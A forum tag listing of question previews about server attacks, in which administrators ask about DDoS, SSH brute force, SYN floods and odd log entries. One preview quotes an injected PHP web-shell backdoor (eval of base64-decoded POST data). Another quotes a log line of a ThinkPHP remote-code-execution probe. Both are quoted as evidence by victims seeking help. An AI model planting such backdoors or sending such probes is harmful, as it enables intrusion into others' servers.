Questions tagged [attacks]

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138 views

Stopping UDP Attack

I am now getting support emails from OVH that there is unusual activity on my server. This is a simple server that I have RDP connections for students to access QuickBooks, Excel, and Word, and there ...
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153 views

Is someone trying to hack into our system?

I have a CentOS 6 server that has misbehaved over the last couple of weeks. I have tried to trace network, adjust settings, and asked a lot of clever people about it (see more in this question: ...
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1answer
227 views

Nginx log shows ssl handshake errors

I have seen my nginx error log is full of messages like this: (*date*) [info] 69487#0: *1064573 peer closed connection in SSL handshake while SSL handshaking, client: 95.64.*.*, server: 0.0.0.0:443 (*...
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1answer
55 views

It seems that a robot is creating a lot of user accounts on my website

I am working on an e-commerce website... there is a bot that keeps creating new users on our website... All the users belong to allmelbet.com and all of them have exactly the same first name and last ...
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1answer
44 views

What is uid in snort means

I was writing a snort rule for the specific exploit and then came across one solution that details as "uid=0(root)". Can someone explain what is that and why it is mentioned in order to ...
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1answer
305 views

Remote code execution attacks

It is probably a very stupid question but I would like to confirm. I found lines like 93.71.247.71 - - [19/Jan/2021:17:37:59 +0100] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&...
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2answers
116 views

Can I report malicious ip addresses for money?

My servers get attacks from thousands of ip addresses everyday. I have an idea. Can I report those malicious ip addresses, or use the resource to earn some money? How? You may think these attacks are ...
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1answer
40 views

Meaning of Log File (DDOS) [duplicate]

We are currently facing attacks (probably DDOS) on our server. The incoming network traffic goes from an average of 20Mbps to 1Gbps in just 2-3 minutes. The lines in our log files usually look like: ...
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IS this error an Ancient “su – hostile” vulnerability in Debian 8 & 9 ? $ bash: cannot set terminal process group (-1): Inappropriate ioctl for device

Just received this error >> bash: cannot set terminal process group (-1): Inappropriate ioctl for device then the disk partition went into READ-Only mode ; also noticed gnome-software was ...
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36 views

BigBlueButton getting unusaul traffic

We are running a bare-metal server which can handle 400 concurrent video conferencing users. We are using BigBlueButton application for video conferencing. It was running smoothly for the past 6 ...
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2answers
3k views

DNS attacks from external IP with port 80, how could that happened?

Just noticed from my DNS server's log, showing someone attack my server through port 80: /var/log/bind.log:31-Jul-2020 03:25:50.536 query-errors: client @0x7f63345948a0 185.107.80.2#36045 (PEACECORPS....
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0answers
237 views

Apache PHP REST API handle/block web attack attempts

We're currently running a PHP API (all URL's get rewritten to index.php for route-handeling) on an Apache Debian server. Edit: (I think I might have landed on the wrong StackExchange for this question,...
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4answers
161 views

Stop attacker without affecting others on same IP [closed]

How can I stop a client that's running a multirequest script on my server that reconnects and continues no matter what, without affecting the other people/clients that are connected to my server from ...
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1answer
62 views

Is this real google bot or attack? How do I deal with it?

So basically my site was unaccessible and I went to logs folder to see what's wrong and noticed a lot of weird requests from various IPs: 155.4.117.13 - - [30/Mar/2020:20:23:45 +0300] "GET / HTTP/1.0"...
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3answers
98 views

Sharing IP black lists

Are there any tools similar to fail2ban that would allow sharing of IP black lists? What I'm looking for is something similar to a DNS based blackhole list or real-time blackhole list as is used to ...
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1answer
171 views

Nginx Redirection Giving unexpected response

I'm using google compute engine as a proxy server using nginx. I make several POST requests to it and it redirects them to a third party server. The issue is, from today I started getting unexpected ...
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1answer
269 views

Windows RDP: Attack targeting real account names

We have a Windows 2012 R2 server hosted in a datacenter, and we are using RDP for its administration. Automatic updates are enabled. RDP login is not allowed for the Administrator account, and there ...
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3answers
3k views

Lots of connections in SYN_RECV, not a SYN flood, is it some reflection attack?

Since at least a few months, issuing a netstat -t command on our web server, which has TCP ports 22, 80 and 443 exposed to the Internet, often reveals dozens of connections in SYN_RECV status: $ ...
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1answer
963 views

Unusual hits in Apache log for localhost site

I have an Apache 2.2 webserver running on Windows 7 with six virtual hosts set up. Domain name A points to ?:/.../urls/1/ Domain name B points to ?:/.../urls/2/ Domain name C+D point to ?:/.../urls/3/...
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2answers
162 views

AWS EC2 instance crashes when scanned by bots

I've created a simple micro EC2 instance based on Amazon Linux AMI for testing an app while I develop it, but it happens that every day it stops answering giving me error 503. It have it's own domain ...
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1answer
62 views

Am I under ddos attack ? Many random requests (usually to images)

Do requests like these look like a DDOS attack ? 180.157.250.126 /9301451791bb460e8a5aec3e123884ba.jpg <<< match 180.157.250.126 /b29a2302afd6dfd918a2b7c3b6a05e31.jpg <<< match 183....
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0answers
24 views

Cloud server vulnerability analysis [duplicate]

I have multiple Hetzner cloud servers (Ubuntu 18.04) and I have encrypted the home directory with a +128-bit encryption using cryptsetup/LUKS. The server may only be accessed with SSH or Wireguard. ...
2
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1answer
1k views

Suspicious ssh log entries (“Accepted none for anonymous”)

I got this log entry chain (and similar repeatedly) on my server: Nov 24 07:38:59 server sshd[28676]: SSH: Server;Ltype: Version;Remote: 54.38.81.12-40482;Protocol: 2.0;Client: OpenSSH_7.2p2 Ubuntu-...
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1answer
1k views

Block injection hacker

I have someone injecting my php files with the following code: if(md5($_POST["pf"]) === "93ad003d7fc57aae938ba483a65ddf6d") { eval(base64_decode($_POST["cookies_p"])); } if (strpos($_SERVER['...
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2answers
152 views

Concrete difference between faults and attacks [closed]

I don't know if it is the good place to ask this question but I believe it is OK. My question is simple: how can one make a difference between a fault and between an attack? A denial of service could ...
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1answer
1k views

Mitigating 404 bomb with Nginx

I am hit with 404 queries and this is bringing down my machine. Close to all of my pages are http cached and I have some basic Dos protection with limit_conn_zone $http_x_forwarded_for zone=addr:10m;...
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0answers
788 views

apache2 proxy error - are we beeing attacked / hijacked?

We are getting a lot of load since 2 days on our webserver (apache2.4, wordpress + woocommerce, nodeJS server) Now I saw a lot of URLs in the error logs which I dont know. Most of them from china. It ...
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0answers
32 views

Safety issue of running exe on a server

I'm pretty new to server-side stuff. The difficult situation is that we want to allow an application installed on the server to run python on the server, but the application server installation guide ...
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4answers
338 views

Any reasons to not IP ban those that get a HTTP 404? Is it possible and easy?

So I have a WordPress site and we all know how vulnerable WordPress plugins can be and get over time. I'm curious to know what you guys think about possibly just IP banning anyone that get an HTTP 404....
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0answers
143 views

Nginx rate limiting at server level excluding a particular IP [duplicate]

My server is constantly being flooded and I am looking to limit the connections. I want to do this at the server level (because I have multiple websites) but every now and then I run a cache warm ...
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1answer
71 views

Suspicious logs on ebs, is it some kind of trojan attack?

I found lots of similar logs in cloud watch logs where logs from my ebs application are streaming. I am using Platform: 64bit Amazon Linux 2017.03 v2.5.0 running Java 8 Here are the logs which are ...
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2answers
888 views

Possible attack on my website; excessive traffic to nonexistent page

One of the websites I manage had unusual traffic last month. There was ~6,500 hits on a URL within the site that doesn't exist (the server sent a correct 404 response according to the logs). The URL ...
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1answer
69 views

How to deal with these indirect attacks from Facebook and Google bot?

Our site is smashed by Google bot and Facebook: 66.249.90.50 - - [03/Apr/2017:09:26:41 +1000] "GET /news/?vmowv= HTTP/1.1" 200 48925 "-" "Mediapartners-Google" 66.249.90.49 - - [03/Apr/2017:09:26:42 +...
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1answer
641 views

TMG only windows 2008 r2 installing. NOT WORKING windows server 2012 r2

TMG Forefront only working windows server 2008 or 2008R2 - Not working windows server 2012. How to mitigation windows server 2012R2 - Flood attacks,http attacks ? Please help how to build windows ...
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2answers
409 views

Possible SQL Injection and malformed URLs on Drupal Server

We have a Production Drupal server serving content but some pages are broken when a pager link is clicked upon. It was found that the URL's are being changed with unrecognizable keywords. For example, ...
0
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1answer
1k views

Drop first packet with iptables

Our servers are getting UDP-flood spoofed ip attacks. I think, we can solve this problem with iptables and i want to make a rule with iptables. When a ip tried to send a udp packet, iptables will ...
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2answers
477 views

Typo3 - server attack, too many php requests ends in error 500 and 503

I have an older Typo3 (v4.5.x) site and since a while my server is under attack by a script kiddie. He sends quite some PHP requests of URLs which do not exists on my server. I got so many PHP 500 ...
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1answer
109 views

Strange connection on ssh serer

So, one day, I decide to check the ssh server logs. Did so, and found something odd. There were about 3 different ips trying to brute-force guess the root password? What should i do, if anything? PS: ...
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2answers
139 views

Server is currently under massive DDoS

Over the past few days, been having a number of problems that I can only describe as a massive DDoS attack one a CENTOS VPS server that is only hosting one website. The website is really slow but not ...
2
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1answer
2k views

What's the legit use of a deauthentication packet?

Most people that have tampered with external wireless networks in a malicious fashion for the sake of education (hopefully your own personal testing network) have probably heard of a deauthentication ...
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0answers
116 views

MYSQL error: IP address could not be resolved [duplicate]

My website is hosted with Linode, I installed webmin on Ubuntu 14.04 to manage it. Recently my database server keeps shutting down, when I look at /var/log/mysql, there are several log files in there ...
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1answer
296 views

Someone else domain is pointed to my IP [closed]

I've just done a routine reverse IP check. And saw that 2 domains are pointing to my IP. This is getting me really worried, as I was told they could be preparing to attack my server. What exactly ...
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1answer
590 views

Port scan attacks detected from my server [duplicate]

I have dedicated server for my personal projects on Hetzner and today was the second time I got email from them informing that they detected portscan coming from server (first time was in January). At ...
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1answer
116 views

Apache 404 errors with "hello" as URL

My web server emails me if a 404 error occurs (to help me with missing links). I only had the usual 404's like http://www.example.com/administrator and so on. But lately I keep getting a request for ...
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0answers
391 views

What would cause named to send out hundreds of bogus responses?

My DNS server running RHEL 6.6 is actively sending unsolicited DNS responses to a couple of IP's. By unsolicited I mean that there is no incoming request from the external IP, the DNS server seems to ...
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2answers
328 views

Where do the Chinese, Russian and etc. random attackers find their targets?

I recently started running a personal site on a dedicated server that i've had for some time, but have never actually used. I have never checked it's logs, but now when i do, auth.log is full with ...
2
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2answers
157 views

500,000 GET requests to a random jpeg per day (Apache)

So I'm getting this on my Apache log on a small server for a local company: 1.2.3.4 - - [09/Nov/2015:17:00:16 +0000] "GET /wp-content/uploads/2012/08/gold-coins.jpeg HTTP/1.1" 301 342 about 500,000 ...
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1answer
69 views

Server Blocked by Provider Sending UDP Packages to certain IP - what does that mean?

My webserver got blocked by my provider recently for the reason that it was performing an attack to another server. The email contained the following log: 08:26:39.219940 68:05:ca:07:02:01 > 78:fe:...
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1answer
150 views

Server attack but on Upload not Download

I am currently being attacked on one of my servers, but I am struggling to find out what could be causing it. I have had a few DDoS attacks before but this particular attack, which I'm not sure what ...
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0answers
934 views

How to block hping3 SYN ACK efficiently with iptables?

I'm trying to execute a TCP SYN flood on my Debian web server with nginx. Executing tcpdump "tcp[tcpflags] & (tcp-syn) != 0" while flooding, I see all packets coming. iptables seem to work well ...